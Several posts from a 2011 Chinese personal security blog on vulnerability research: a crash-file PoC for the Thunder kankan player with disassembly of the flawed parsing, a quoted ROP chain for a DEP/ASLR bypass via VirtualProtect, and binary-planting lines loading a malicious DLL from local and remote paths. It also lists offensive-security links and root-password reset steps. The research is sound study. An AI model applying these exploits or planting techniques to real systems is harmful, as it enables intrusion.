CQ-CSER » IT

WAR3格式

cq — Mon, 12 Dec 2011 09:13:46 +0000

本来是考虑w3g格式的
参见如下

http://w3g.deepnode.de/files/w3g_format.txt

大致包含部分：
版本头
压缩数据

解压出来包含各类时间，动作等。用的是ZLIB解压
/////////////////////////////////////////////////////////////////////////////////////////////////////
后来想了下，用录像不如用地图，随便打开一个

00000000h: 48 4D 33 57 00 00 00 00 E5 8F AA E6 98 AF E5 8F ; HM3W….鍙槸鍙

00000010h: A6 E5 A4 96 E4 B8 80 E5 BC A0 E9 AD 94 E5 85 BD ; ﹀涓€寮犻瓟鍏?

00000020h: E4 BA 89 E9 9C B8 49 49 49 E7 9A 84 E5 9C B0 E5 ; 浜夐湼III鐨勫湴?

00000030h: 9B BE 00 14 9C 00 00 01 00 00 00 00 00 00 00 00 ; 浘..?……….

00000040h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; …………….

00000200h: 4D 50 51 1A 20 00 00 00 12 34 56 78 11 11 11 11 ; MPQ. ….4Vx….

00000210h: A1 38 00 00 A1 3C 00 00 40 00 00 00 10 00 00 00 ; ?..?..@…….

00000220h: 24 00 00 00 8D 02 00 00 BF 04 00 00 FE 06 00 00 ; $…?..?..?..

00000230h: 25 09 00 00 54 0B 00 00 85 0D 00 00 93 0F 00 00 ; %…T…?..?..

猜测下包含文件头和MPQ2部分，我们随便修改下MPQ后面的数字，如上，1234567811111111，用WAR3打开，果然CRASH了哈，一次是内存不够，一次是异常。大胆猜测，直接读取值开辟空间？

WAR3应该是VC6的老编译器的吧。作为一个忠实真三DOTA爱好者，唉

////////////////////////////////////////////////////////////

再来看最近的几个scada的，不管是溢出还是use-after-free，某人的入手点很好啊，从注册类型PROJECT文件处理入手。

////////////////////////////////////////////////////////////

另，REALPLAYER一次补了好多洞啊

REALPLAYER QCP,AAC,MP3,SWF，RealAudio sipr 漏洞

CVE-2011-2945

RealPlayer SIPR Heap Buffer Overflow Vulnerability （out of bound）http://wiki.multimedia.cx/index.php?title=RealAudio_sipr

CVE-2011-2946

RealPlayer ActiveX Remote Code Execution Vulnerability

CVE-2011-2947

RealPlayer Cross-Zone Scripting Remote Code Execution Vulnerability

CVE-2011-2952

RealPlayer Dialog Box Use After Free Vulnerability

CVE-2011-2953

RealPlayer ActiveX Browser Plugin Out of Bounds Vulnerability.

CVE-2011-2954

RealPlayer Embedded AutoUpdate Use After Free Vulnerability

CVE-2011-2955

RealPlayer Embedded Modal Dialog Use After Free Vulnerability

CVE-2011-1221

RealPlayer Cross-Zone Scripting Remote Code Execution Vulnerability

No related posts.

thunder_kankan_stack_overflow/dos exploit

cq — Thu, 17 Nov 2011 14:56:32 +0000

http://cq-cser.cn/wp-content/plugins/downloads-manager/upload/kankan.py

print “”"

#1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0

#0 ___ ___ ___ ___ ___ ___ 1

#1 /\__\ /\ \ /\__\ /\__\ /\ \ /\__\ 0

#0 /:/ / /::\ \ /:/ / /:/ / /::\ \ /:/ / 1

#1 /:/__/ /:/\:\ \ /:/ / /:/ / /:/\:\ \ /:/__/ 0

#0 /::\ \ ___ /::\~\:\ \ /:/ / /:/ / /:/ \:\ \ /::\__\____ 1

#1 /:/\:\ /\__\ /:/\:\ \:\__\ /:/__/ /:/__/ /:/__/ \:\__\ /:/\:::::\__\0

#0 \/__\:\/:/ / \:\~\:\ \/__/ \:\ \ \:\ \ \:\ \ /:/ / \/_|:|~~|~ 1

#1 \::/ / \:\ \:\__\ \:\ \ \:\ \ \:\ /:/ / |:| | 0

#0 /:/ / \:\ \/__/ \:\ \ \:\ \ \:\/:/ / |:| | 1

#1 /:/ / \:\__\ \:\__\ \:\__\ \::/ / |:| | 0

#0 \/__/ \/__/ \/__/ \/__/ \/__/ \|__| 1

#1 0

#0 [+] Exploit Title: Thunder kankan player Stack overflow/DOS Exploit 1

#1 [+] Software Link: dl.xunlei.com/xmp.html 0

#0 [+] Software: Thunder kankan player 1

#1 [+] Version : 4.8.3.840(last) 0

#0 [+] Tested On: WIN 7 1

#1 [+] Code by: hellok(warptencq@gmail.com) 0

#0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-1

“”"

filepath = “exploit.wav”

f = open(filepath, “wb”)

file = ‘\x52\x49\x46\x46\x62\xb8\x20\x20\x57\x41\x56\x45\x66\x6d\x74\x20′

f.write(file)

f.close()

print “Done..”

主要2出错误，都是没校验直接从文件中读出。
bass_wv.dll中的
seg002:10005C2D ; —————————————————————————
seg002:10005C2D ; 148: clean_junk_part:
seg002:10005C2D ; 149: v17 = malloc(site_malloc_may_error);
seg002:10005C2D
seg002:10005C2D clean_junk_part: ; CODE XREF: seem_important+1BDj
seg002:10005C2D ; seem_important+245j
seg002:10005C2D push esi ; Size
seg002:10005C2E call malloc ; /size = F2471B06 (-230221050.)可控
seg002:10005C34 ; 150: (**(memory1 + 112))(*(memory1 + 116), v17, site_malloc_may_error);// basedll(+116)
seg002:10005C34 mov ecx, [ebp+74h] ; 申请失败，导致EAX==00
seg002:10005C37 add esp, 4
seg002:10005C3A mov edi, eax ; eax==0000 污染源
seg002:10005C3C mov eax, [ebp+70h]
seg002:10005C3F push esi
seg002:10005C40 mov edx, edi
seg002:10005C42 call dword ptr [eax] ; call base.dll!!!!!!!!!!!!!!!!
seg002:10005C42 ; 从文件里读ECX大小内容到刚开辟空间
seg002:10005C44 ; 151: free(v17);
seg002:10005C44 push edi ; Memory
seg002:10005C45 call free
seg002:10005C4B ; 152: strncpy_ = strncmp;
seg002:10005C4B mov edi, strncmp
seg002:10005C51 add esp, 4
seg002:10005C54 jmp loc_10005AF7

另一来自base.dll
seg000:1001083D pop eax
seg000:1001083E ; 100: if ( v66 > 0×12 ) v66可控污染源
seg000:1001083E cmp [ebp+var_10], eax
seg000:10010841 jbe short crash_inside
seg000:10010843 ; 101: v14 = v66;
seg000:10010843 mov eax, [ebp+var_10]
seg000:10010846 ; 102: v15 = v14 + 3;
seg000:10010846
seg000:10010846 crash_inside: ; CODE XREF: crash_here__+242j
seg000:10010846 add eax, 3
seg000:10010849 ; 103: LOBYTE(v15) = v15 & 0xFC;
seg000:10010849 and al, 0FCh
seg000:1001084B ; 104: v16 = alloca(v15);
seg000:1001084B call __alloca_probe
seg000:10010850 ; 105: v4 = &v39;
seg000:10010850 mov ebx, esp
seg000:10010852 ; 106: sub_10001974(v5, &v39, v66);

bass_wv.dll的里面看了半天,想搞个什么use after free,double free什么的,可惜没找到啊,小遗憾啦

Blogs, Feeds, Guides & Links[zz]

cq — Sun, 13 Nov 2011 10:33:15 +0000

原文：http://g0tmi1k.blogspot.com/2011/11/blog-guides-links.html
顺便FK GFW
特别推荐http://j00ru.vexillium.org/?p=893此系列

Programming/Coding
[Bash] Advanced Bash-Scripting Guide – http://tldp.org/LDP/abs/html/
[Bash] Bash shell scripting tutorial – http://steve-parker.org/sh/sh.shtml
[Bash] Bourne Shell Reference – http://linuxreviews.org/beginner/bash_GNU_Bourne-Again_SHell_Reference/
[CheatSheet] Scripting Languages: PHP, Perl, Python, Ruby – http://hyperpolyglot.org/scripting

Offensive Security’s Pentesting With BackTrack (PWB) Course
[Pre-course] Corelan Team – http://www.corelan.be
[Pre-course] The Penetration Testing Execution Standard – http://www.pentest-standard.org/index.php/Main_Page
[Hash] NTLM Decrypter – http://www.md5decrypter.co.uk/ntlm-decrypt.aspx
[Hash] reverse hash search and calculator – http://goog.li

http://security.crudtastic.com/?p=213

Tunnelling / Pivoting
[Linux] SSH gymnastics with proxychains – http://pauldotcom.com/2010/03/ssh-gymnastics-with-proxychain.html
[Windows] Nessus Through SOCKS Through Meterpreter – http://www.digininja.org/blog/nessus_over_sock4a_over_msf.php

WarGames / Online Challenges
[WarGames] Title – http://securityoverride.com
[WarGames] Title – http://intruded.net
[Challenge] The Ksplice Pointer Challenge – http://blogs.oracle.com/ksplice/
[WarGames] Title – http://spotthevuln.com
[WarGames] Title – http://cvo-lab.blogspot.com/2011/05/iawacs-2011-forensics-challenge.html
[WarGames] Title – http://ftp.hackerdom.ru/ctf-images/

Exploit Development (Programs)
[Download] Title – http://www.oldapps.com/
[Download] Title – http://www.oldversion.com/
[Download] Title – http://www.exploit-db.com/webapps/

Misc
[RSS] Open Penetration Testing Bookmarks Collection – https://code.google.com/p/pentest-bookmarks/downloads/list
[ExploitDev] Data mining Backtrack 4 for buffer overflow return addresses – http://insidetrust.blogspot.com/2010/12/data-mining-backtrack-4-for-buffer.html
[DIY] Repair a Broken Ethernet Plug – http://www.instructables.com/id/Repair-a-Broken-Ethernet-Plug/step5/Make-its-Head-Thin/
[Desktop] Ubuntu Security – http://ubuntuforums.org/showthread.php?t=510812
[TechHumor] Title – https://www.xkcd.com
[TechHumor] Title – http://www.blackhat.com/presentations/bh-europe-05/BH_EU_05-Long.pdf

Exploit Development
[Guides] Corelan Team – http://www.corelan.be
[Guide] From 0×90 to 0x4c454554, a journey into exploitation. – http://myne-us.blogspot.com/2010/08/from-0×90-to-0x4c454554-journey-into.html
[Guide] An Introduction to Fuzzing: Using fuzzers (SPIKE) to find vulnerabilities – http://resources.infosecinstitute.com/intro-to-fuzzing/
[Video] TiGa’s Video Tutorial Series on IDA Pro – http://www.woodmann.com/TiGa/idaseries.html
[Guide] Advanced Windows Buffer Overflows – http://labs.snort.org/awbo/
[Guide] Stack Based Windows Buffer Overflow Tutorial – http://grey-corner.blogspot.com/2010/01/beginning-stack-based-buffer-overflow.htmlt
[Guide] SEH Stack Based Windows Buffer Overflow Tutorial – http://grey-corner.blogspot.com/2010/01/seh-stack-based-windows-buffer-overflow.html
[Guide] Windows Buffer Overflow Tutorial: Dealing with Character Translation – http://grey-corner.blogspot.com/2010/01/windows-buffer-overflow-tutorial.html
[Guide] Heap Spray Exploit Tutorial: Internet Explorer Use After Free Aurora Vulnerability< – http://grey-corner.blogspot.com/2010/01/heap-spray-exploit-tutorial-internet.html
[Guide] Windows Buffer Overflow Tutorial: An Egghunter and a Conditional Jump – http://grey-corner.blogspot.com/2010/02/windows-buffer-overflow-tutorial.html
[Linux] Linux exploit development part 1 – Stack overflow. – http://sickness.tor.hu/?p=363
[Linux] Linux Exploit Writing Tutorial Pt 2 – Stack Overflow ASLR bypass Using ret2reg – http://sickness.tor.hu/?p=365
[Linux] Linux exploit development part 3 – ret2libc – http://sickness.tor.hu/?p=368
[Linux] Linux exploit development part 4 – ASCII armor bypass + return-to-plt – http://sickness.tor.hu/?p=378
[TechHumor] Title – https://www.youtube.com/watch?v=klXFqtYR5Mg
[TechHumor] Title – http://amolnaik4.blogspot.com/2011/06/exploit-development-with-monapy.html

Exploit Development (Case Studies/Walkthroughs)
[Web] Finding 0days in Web Applications – http://www.exploit-db.com/finding-0days-in-web-applications/
[Windows] Offensive Security Exploit Weekend – http://www.corelan.be/index.php/2010/11/13/offensive-security-exploit-weekend/
[Windows] From vulnerability to exploit under 5 min – http://0entropy.blogspot.com/2011/02/from-vulnerability-to-exploit-under-5.html

Exploit Development (Patch Analysis)
[Windows] A deeper look at ms11-058 – http://www.skullsecurity.org/blog/2011/a-deeper-look-at-ms11-058
[Windows] Patch Analysis for MS11-058 – https://community.qualys.com/blogs/securitylabs/2011/08/23/patch-analysis-for-ms11-058
[Windows] CVE-2011-1281: A story of a Windows CSRSS Privilege Escalation vulnerability – http://j00ru.vexillium.org/?p=893
[Mobile] Analyzing and dissecting Android applications for security defects and vulnerabilities – https://www.net-security.org/article.php?id=1613

Exploit Development (Metasploit Wishlist)
[ExplotDev] Metasploit Exploits Wishlist ! – http://esploit.blogspot.com/2011/03/metasploit-exploits-wishlist.html
[Guide] Porting Exploits To Metasploit Part 1 – http://www.securitytube.net/video/2118

Passwords & Rainbow Tables (WPA)
[RSS] Title – http://ob-security.info/?p=475
[RSS] Title – http://nakedsecurity.sophos.com/2011/06/14/the-top-10-passcodes-you-should-never-use-on-your-iphone/
[RSS] Title – http://www.troyhunt.com/2011/06/brief-sony-password-analysis.html
[WPA] Offensive Security: WPA Rainbow Tables – http://www.offensive-security.com/wpa-tables/
[Tool] Ultra High Security Password Generator – https://www.grc.com/passwords.htm
[Guide] Creating effective dictionaries for password attacks – http://insidetrust.blogspot.com/2010/07/creating-effective-dictionaries-for.html
[Leaked] Diccionarios con Passwords de Sitios Expuestos – http://www.dragonjar.org/diccionarios-con-passwords-de-sitios-expuestos.xhtml
[Download] Index of / – http://svn.isdpodcast.com/wordlists/
[Guide] Using Wikipedia as brute forcing dictionary – http://lab.lonerunners.net/blog/using-wikipedia-as-brute-forcing-dictionary
[Tool] CeWL – Custom Word List generator – http://www.digininja.org/projects/cewl.php
[Download] Title – http://www.aircrack-ng.org/doku.php?id=faq#where_can_i_find_good_wordlists
[Leaked] Passwords – http://www.skullsecurity.org/wiki/index.php/Passwords

Cheat-Sheets
[OS] A Sysadmin’s Unixersal Translator – http://bhami.com/rosetta.html
[WiFi] WirelessDefence.org’s Wireless Penetration Testing Framework – http://www.wirelessdefence.org/Contents/Wireless%20Pen%20Test%20Framework.html

Anti-Virus
[Metasploit] Facts and myths about antivirus evasion with Metasploit – http://schierlm.users.sourceforge.net/avevasion.html
[Terms] Methods of bypassing Anti-Virus (AV) Detection – NetCat – http://compsec.org/security/index.php/anti-virus/283-anti-virus-central-methods-of-bypassing-anti-virus-av-detection.html

Privilege Escalation
[Linux] Hacking Linux Part I: Privilege Escalation – http://www.dankalia.com/tutor/01005/0100501004.htm
[Windows] Windows 7 UAC whitelist – http://www.pretentiousname.com/misc/win7_uac_whitelist2.html
[Windows] Windows Privilege Escalation Part 1: Local Administrator Privileges – http://www.netspi.com/blog/2009/10/05/windows-privilege-escalation-part-1-local-administrator-privileges/

Metasploit
[Guide] fxsst.dll persistence: the evil fax machine – http://www.room362.com/blog/2011/6/27/fxsstdll-persistence-the-evil-fax-machine.html
[Guide] Bypassing DEP/ASLR in browser exploits with McAfee and Symantec – http://www.scriptjunkie.us/2011/08/custom-payloads-in-metasploit-4/
[Guides] Metasploit Unleashed – http://www.offensive-security.com/metasploit-unleashed/Metasploit_Unleashed_Information_Security_Training
[Guides] Metasploit Megaprimer (Exploitation Basics And Need For Metasploit) Part 1 – http://www.securitytube.net/video/1175

Default Generators
[WEP] mac2wepkey – Huawei default WEP generator – http://websec.ca/blog/view/mac2wepkey_huawei
[WEP] Generator: Attacking SKY default router password – http://sec.jetlib.com/BackTrack_Linux_Forums/2011/01/12/Generator:_Attacking_SKY_default_router_password

Statistics
[Defacements] Zone-H – http://www.zone-h.org
[ExploitKits] CVE Exploit Kit list – http://exploitkit.ex.ohost.de/CVE%20Exploit%20Kit%20List.htm

Cross Site Scripting (XSS)
[Guide] vbSEO – From XSS to Reverse PHP Shell – http://www.exploit-db.com/vbseo-from-xss-to-reverse-php-shell/
[RSS] Title – http://www.thespanner.co.uk/2009/03/25/xss-rays/

Podcasts
[Weekly] PaulDotCom – http://pauldotcom.com/podcast/psw.xml
[Monthly] Social-Engineer – http://socialengineer.podbean.com/feed/

Blogs & RSS
[RSS] SecManiac – http://www.secmaniac.com
[Guides] Carnal0wnage & Attack Research – http://carnal0wnage.attackresearch.com
[RSS] Contagio – http://contagiodump.blogspot.com
[News] THN : The Hacker News – http://thehackernews.com
[News] Packet Storm: Full Disclosure Information Security – http://packetstormsecurity.org
[Guides] pentestmonkey | Taking the monkey work out of pentesting – http://pentestmonkey.net
[RSS] Darknet – The Darkside | Ethical Hacking, Penetration Testing & Computer Security – http://www.darknet.org.uk
[RSS] Irongeek – http://www.irongeek.com
[Metasploit] Room 363 – http://www.room362.com
[Guides] Question Defense: Technology Answers For Technology Questions – http://www.question-defense.com/
[Guides] stratmofo’s blog – http://securityjuggernaut.blogspot.com
[Guides] TheInterW3bs – http://theinterw3bs.com

[Guides] consolecowboys – http://console-cowboys.blogspot.com
[Guides] A day with Tape – http://adaywithtape.blogspot.com
[Guides] Cybexin’s Blog – Network Security Blog – http://cybexin.blogspot.com

[RSS] BackTrack Linux – Penetration Testing Distribution – http://www.backtrack-linux.org/feed/
[RSS] Offensive Security – http://www.offensive-security.com/blog/feed/

[RSS] Title – http://www.pentestit.com
[RSS] Title – http://michael-coates.blogspot.com
[RSS] Title – http://blog.0x0e.org
[RSS] Title – http://0×80.org/blog
[RSS] Title – http://archangelamael.shell.tor.hu
[RSS] Title – http://archangelamael.blogspot.com
[RSS] Title – http://www.coresec.org
[RSS] Title – http://noobys-journey.blogspot.com
[RSS] Title – http://www.get-root.com
[RSS] Title – http://www.kislaybhardwaj.com
[RSS] Title – https://community.rapid7.com/community/metasploit/blog
[RSS] Title – http://mimetus.blogspot.com
[RSS] Title – http://hashcrack.blogspot.com
[RSS] Title – https://rephraseit.wordpress.com
[RSS] Title – http://www.exploit-db.com
[RSS] Title – http:/skidspot.blogspot.com
[RSS] Title – http://grey-corner.blogspot.com
[RSS] Title – http://vishnuvalentino.com
[RSS] Title – http://ob-security.info

…. Not enough? Try twitter and/or IRC!

记事

cq — Wed, 02 Nov 2011 06:23:21 +0000

http://mpc-hc.svn.sourceforge.net/viewvc/mpc-hc/trunk/src/filters/transform/MPCVideoDec/MPCVideoDecFilter.cpp?view=log
// We crash inside this function
// In swscale.c: Function ‘simpleCopy’
// Line: 1961 – Buffer Overrun
// This might be ffmpeg fault or more likely mpchc is not reinitializing ffmpeg correctly during display change (moving mpchc window from display A to display B)
搞了好久才无意发现是这个。暂时不好利用。待定了。
枉费我在没SYMBOLS的情况下搞了好久，心碎啊，教训教训。。

While this DLL seems interesting, it does not import VirtualAlloc, VirtualProtect, HeapCreate, WriteMemory or even a LoadLibrary, which complicates exploitation. However, the attacker did find and use other functions:

4A84903C CreateFileA // create the file iso88591
4A849038 CreateFileMappingA // attrib RWE
4A849030 MapViewOfFile // load this file in memory with RWE flags
4A849170 memcpy // copy the payload

The idea of the attacker was to spray the heap with a ROP pattern, followed by the shellcode. It first creates a file (iso88591) on disk, loads it with RWE attributes, copies the payload in memory and eventually executes the shellcode.

新思路，BYPASS DEP ASLR .

rop = [
rop_base + 0x1022, # retn

# Write lpfOldProtect
rop_base + 0x2c283, # pop eax; retn
heap - 0x1000, # lpfOldProtect -> eax
rop_base + 0x1db4f, # mov [esi],eax; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn

# Write flNewProtect
rop_base + 0x2c283, # pop eax; retn
0×40, # flNewProtect -> eax
rop_base + 0x1db4f, # mov [esi],eax; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn

# Write dwSize
rop_base + 0x2c283, # pop eax; retn
0×60000, # dwSize -> eax
rop_base + 0x1db4f, # mov [esi],eax; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn

# Write lpAddress
rop_base + 0x2c283, # pop eax; retn
heap & ~0xfff, # lpAddress -> eax
rop_base + 0x1db4f, # mov [esi],eax; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn

# Write &Pivot
rop_base + 0x2c283, # pop eax; retn
rop_base + 0x229a5, # &pivot -> eax
rop_base + 0x1db4f, # mov [esi],eax; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn

# Write &VirtualProtect
rop_base + 0x2c283, # pop eax; retn
rop_base + 0x1212a4, # IAT entry for VirtualProtect -> eax
rop_base + 0x12fda, # mov eax,DWORD PTR [eax]
rop_base + 0x1db4f, # mov [esi],eax; retn

# Pivot ESP
rop_base + 0x229a5, # xchg esi,esp; retn;

# Jump into shellcode
rop_base + 0xdace8 # push esp; retn
]
WIN8上的ROP，有点小变化啦。

https://code.google.com/p/address-sanitizer/

貌似最近CHROME用这东东发现不少use-after-free and out-of-bound bugs
标记+1啦～

QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS

recent life

cq — Tue, 25 Oct 2011 08:55:36 +0000

chrome 待定

http://code.google.com/p/selenium/wiki/JsonWireProtocol

http://www.chromium.org/developers/testing/webdriver-for-chrome/chromedriver-internals

http://selenium.googlecode.com/svn/trunk/docs/api/java/org/openqa/selenium/chrome/ChromeDriver.html

http://build.chromium.org/f/chromium/snapshots/Win_Webkit_Latest/4181/REVISIONS

http://src.chromium.org/svn/trunk/

http://build.chromium.org/f/chromium/snapshots/Win_Webkit_Latest/4181/chrome-win32.test/ .

binary_planting 系列,GOOD!

http://blog.acrossecurity.com/2011/10/google-chrome-pkcs11txt-file-planting.html

http://www.binaryplanting.com/guidelinesDevelopers.htm

http://www.binaryplanting.com/test.htm

this problem also affects the way Windows processes are launched via various functions
such as CreateProcess*, ShellExecute*, WinExec, LoadModule, _spawn*p* and _exec*p*.
library=c:\temp\malicious.dll
library=\\www.binaryplanting.com\demo\chrome_pkcs11Planting\malicious.lib

derbycon2011

http://www.irongeek.com/i.php?page=videos/derbycon1/tony-huffman-myne-us-when-fuzzers-miss-the-no-hanging-fruit

bot funny!

http://www.m86security.com/labs/bot_statistics.asp

autocomplete stolen

http://blog.mindedsecurity.com/2011/10/autocompleteagain.html

WEB指纹识别

http://sebug.net/chweb/

peachfuzz

http://peachfuzzer.com/TutorialNetworkServer

另

https://media.blackhat.com/bh-us-11/Cerrudo/BH_US_11_Cerrudo_Vulnerability_Hunting_Windows_Slides.pdf

此文系慢慢看

No related posts.

LINUX本地密码遗忘

cq — Sat, 22 Jan 2011 13:14:04 +0000

一）RedHat/CentOS/Fedora 系统密码破解
　　1.在grub选项菜单按E进入编辑模式。
　　2.编辑kernel 那行最后加上S（或者Single）。
　　3.按B，启动到single-user mode。
　　4.进入后执行下列命令：
　　# mount -t proc proc /proc
　　# mount -o remount,rw /
　　#passwd
　　#sync
　　#reboot
　　（二）Debian linux 系统密码破解
　　1.在grub选项菜单‘Debian GNU/Linux,…(recovery mode)’，按e进入编辑模式。
　　2.编辑kernel那行最后面的 ro single 改成 rw single init=/bin/bash，按b执行重启。
　　3.进入后执行下列命令：
　　root@(none)#mount -a
　　root@(none)#passwd root
　　root@(none)#reboot
　　（三）Freebsd 系统密码破解
　　1.开机进入引导菜单。
　　2.选择每项（按4）进入单用户模式。
　　3.进入之后输入下列命令：
　　root@#mount -a
　　root@#fsck -y
　　root@#passwd（修改密码命令）
　　root@#root（要破解密码的用户名）
　　Enter new unix password:
　　root@#init 6 （重启）
　　（四）Solaris 系统密码破解
　　1.在grub选项菜中选择solaris failasfe 项。
　　2.系统提示Do you wish to have it mounted read-write on /a ?[y,n,?] 选择y。
　　3.就进入单用户模式。
　　4.输入下列命令：passwd。
　　root@#init 6 （重启）
　　（五）NetBsd 系统密码破解
　　1.开机：当出现提示符号并开始倒数五秒时，键入以下指令：
　　> boot -s （进入单用户模式命令）
　　2.在以下的提示符号中：
　　Enter pathname of shell or RETURN for sh:
　　按下 Enter。
　　3.键入以下指令：
　　# mount -a
　　# fsck -y
　　4.使用 passwd 更改 root 的密码。
　　5.使用 exit 指令进入多人模式。
　　（六）SUSE 系统密码破解
　　1.重新启动机器，在出现grub引导界面后，在启动linux的选项里加上init=/bin/bash，通过给内核传递init=/bin/bash参数使得OS在运行login程序之前运行bash，出现命令行。
　　2.稍等片刻出现(none)#:命令行。
　　3.这时输入mount -n / -o remount,rw 表示将根文件系统重新mount为可读写，有了读写权限后就可以通过passwd命令修改密码了。
　　4.这时输入passwd命令就可以重置密码了。
　　5.修改完成后记得用mount -n / -o remount,ro将根文件系统置为原来的状态

PXE网络安装LINUX

cq — Mon, 04 Oct 2010 12:34:57 +0000

http://pxe.ustc.edu.cn/install-tutorial.html#grub_direct_boot

传几张图啦

然后网络怎么就连接不上了，可能和路由网关之类有关系吧，试了什么代理都不行，于是用下面的直接下载安装，50多MB反而快些

http://www.debian.org/distrib/netinst

我用的是这个

http://cdimage.debian.org/debian-cd/5.0.6/i386/iso-cd/debian-506-i386-businesscard.iso

等一切结束后，啊，令人兴奋的DEBIAN之旅开始啦

10大最吃香的网站开发技术。

cq — Sat, 02 Oct 2010 23:10:35 +0000

原文：http://www.heimian.com/post/824.html

当今网站开发领域很繁荣，因为不论是现在或者将来，网络必定是人们日常生活中不可缺少的组成部分。NETTUTS上列出10大最吃香的网站开发技术。

1. Framework knowledge (架构知识)

架构是大型网站开发的重要部分。开发者已经从Rails, Django等公司提供的网站架构工具中收益，因为架构工具可以帮助完成那些需要一定编程知识的重复性的任务。如果你拥有领先的架构技术(像Rails, Django, CakePHP, Symfony等)，你的择业面将非常广阔。

2. Widget Development (窗体小部件开发)

　窗体小部件(Widgets)是一个嵌入网页的迷你应用程序，通常也可以下载到Windows或者Mac桌面下运行。它让数据变得便与携带而且更具交互性。比较出名的像Yahoo Widgets和AOL Music Widgets。窗体小部件开发除了需要掌握网络应用程序开发所需的语言知识，还需要精通Javascript和Flash知识。

3. Custom CMS themes (内容管理系统主题定制)

　如今越来越多人开始使用CMS(内容管理系统，例如WordPress和Drupal)来构建他们的网站。可以想象不可能大家都用CMS提供的默认主题，为了让自己的CMS网站在外观设计上独树一帜，就需要一些专门给CMS开发主题的技术人员。

4. CMS Customizations and plugin development (内容管理系统的定制以及插件开发)

　同样随着CMS的流行，对CMS的功能定制以及插件开发的需求也越来越大。

5. PSD to XHTML services (PSD转换XHTML的服务）

　在建站中，许多公司是先用Photoshop设计好网站的外观原图，然后再转换成XHTML。这需要很强的CSS/HTML知识。

6. Javascript Plugin creation(Javascript的插件开发)

　Javascript的Framework非常流行，因为它使Javascript的代码开发变得简单。就比如说现在流行的Javascript Framework – jQuery，如果你在它的基础上开发优秀的插件，那么你的插件也会跟着流行起来。

7. Facebook/MySpace applications (Facebook/MySpace 应用程序开发)

　Facebook/MySpace两大社交网站在美国红遍半边天。给他们开发应用程序，不用说一定是相当热门的。

8. iPhoneapplications (iPhone 应用程序开发)

　同样给iPhone开发应用程序，也一直都可以被大量下载，因此也是很赚钱的活。

9. E-commerce integration (电子商务一体化)

　如今电子商务网站(像Ebay，Amazon)与在线银行服务系统(像Paypal和Google Checkout的)之间的配合越来越紧密，因此电子商务交易平台的开发也是相当有前途的。

10. Flash and Actionscript Knowledge (Flash和Actionscript知识)

　越来越多的公司采用Flash来制作自己的网站、展现自己的产品，因为精美的动画总是容易吸引人们的眼球。因此Flash动画技术也必然迅速发展

关于esp定律

cq — Thu, 30 Sep 2010 07:13:02 +0000

听说了n多关于esp定律的。没实践过。一直不大明白。

关于esp定律。

od载入后如下：

00401000 Q> 60                    pushad
00401001     06                    push es
00401002     FC                    cld
00401003     1E                    push ds

在f8过了push es后。

esp=0012ffa0

在命令行下 dd 0012ffa0

然后对0012ffa0下硬件写入(还是访问？这里不是很清楚)dword断点。

然后f9运行。f8几步看见出口关键字popad

然后一个jump跳到程序oep-==

No related posts.

Virus.Win32.Parite.a 专杀下载

cq — Wed, 08 Sep 2010 17:36:12 +0000

真折腾人。

killparite

下载此Virus.Win32.Parite.a 病毒专杀工具

No related posts.